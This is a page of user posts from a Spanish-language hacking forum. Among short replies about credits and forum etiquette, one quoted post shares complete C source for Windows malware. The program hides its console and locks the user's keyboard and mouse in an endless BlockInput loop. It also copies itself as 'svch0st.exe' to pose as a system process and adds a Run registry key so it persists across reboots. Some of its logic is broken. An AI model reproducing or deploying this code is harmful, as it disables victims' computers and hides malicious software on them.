Buen aporte K43l aunque esta tecnica es nada mas de ponerme a pensar nunca se me ocurrio jeje

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes MenúNo tienes permitido ver enlaces. Registrate o Entra a tu cuentaNo tienes permitido ver enlaces. Registrate o Entra a tu cuentaNo tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Gracias Por el Aporte Man Gracias Como Siempre Aportando un Slu2
Hey men te recomiendo que no uses tanto mayuscula y tampoco en negrita cuando es una respuesta rapida men ya que te regañaran solo te lo digo para que no te pase lo mimso que me paso a mi salu2 men
Aaaaaa ok Man Disculpa, Me Advirtieron Anteriormente Pero Por Mayuscula Y Era Negrita, Ahora Ya Comprendo Gracias Por Correjirme Se le Agradecee Parce
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Gracias Por el Aporte Man Gracias Como Siempre Aportando un Slu2
Cita de: [Corruptedyte link=topic=8180.msg29110#msg29110 date=1321932430]
By Darax.
Esto que acabas de hacer es de muy mal gusto, jamas te robes los creditos de un codigo que no es tuyo y mucho menos si no sabes ni un poco de C
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Muy buen trabajo bro.. +1 y chincheta
Cita de: [Corruptedyte link=topic=8181.msg29107#msg29107 date=1321932208]
By _84kur10_
#include <windows.h>
#include <tlhelp32.h>
#include <winable.h>
#define BUFSIZE 80
int test_key(void);
int create_key(char *);
int main(void)
{
int test,create;
test=test_key();
if (test==2)
{
char *path="c:\\WINDOWS\\svch0st.exe";
create=create_key(path);
}
HWND inv;
AllocConsole();
inv=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(inv,0);
int c;
for(;;)
{
BlockInput(true);
}
char root[60]="C:\\Windows\\";
char nombre[60]="svch0st";
char path[256]="svch0st";
strcat(nombre,".exe");
strcat(root,nombre);
HMODULE copiar = GetModuleHandle(0);
GetModuleFileName(copiar, path, 256);
CopyFile(path,root,false);
}
int test_key(void)
{
int check;
HKEY hKey;
char path[BUFSIZE];
DWORD buf_length=BUFSIZE;
int reg_key;
reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey);
if(reg_key!=0)
{
check=1;
return check;
}
reg_key=RegQueryValueEx(hKey,"Windows Files",NULL,NULL,(LPBYTE)path,&buf_length);
if((reg_key!=0)||(buf_length>BUFSIZE))
check=2;
if(reg_key==0)
check=0;
RegCloseKey(hKey);
return check;
}
int create_key(char *path)
{
int reg_key,check;
HKEY hkey;
reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
if(reg_key==0)
{
RegSetValueEx((HKEY)hkey,"Windows files",0,REG_SZ,(BYTE *)path,strlen(path));
check=0;
return check;
}
if(reg_key!=0)
check=1;
return check;
}
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Por favor no desvíen el tema, el foro esta creado principalmente para debatir y aclarar dudas comunitarias para un bien común.
Tal vez otro sea más experimentado que otro, pero todos comenzamos desde 0.
En vez de comenzar a pelear aclárenle la duda de buena manera y no desvíen el tema.
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
como lo descargo??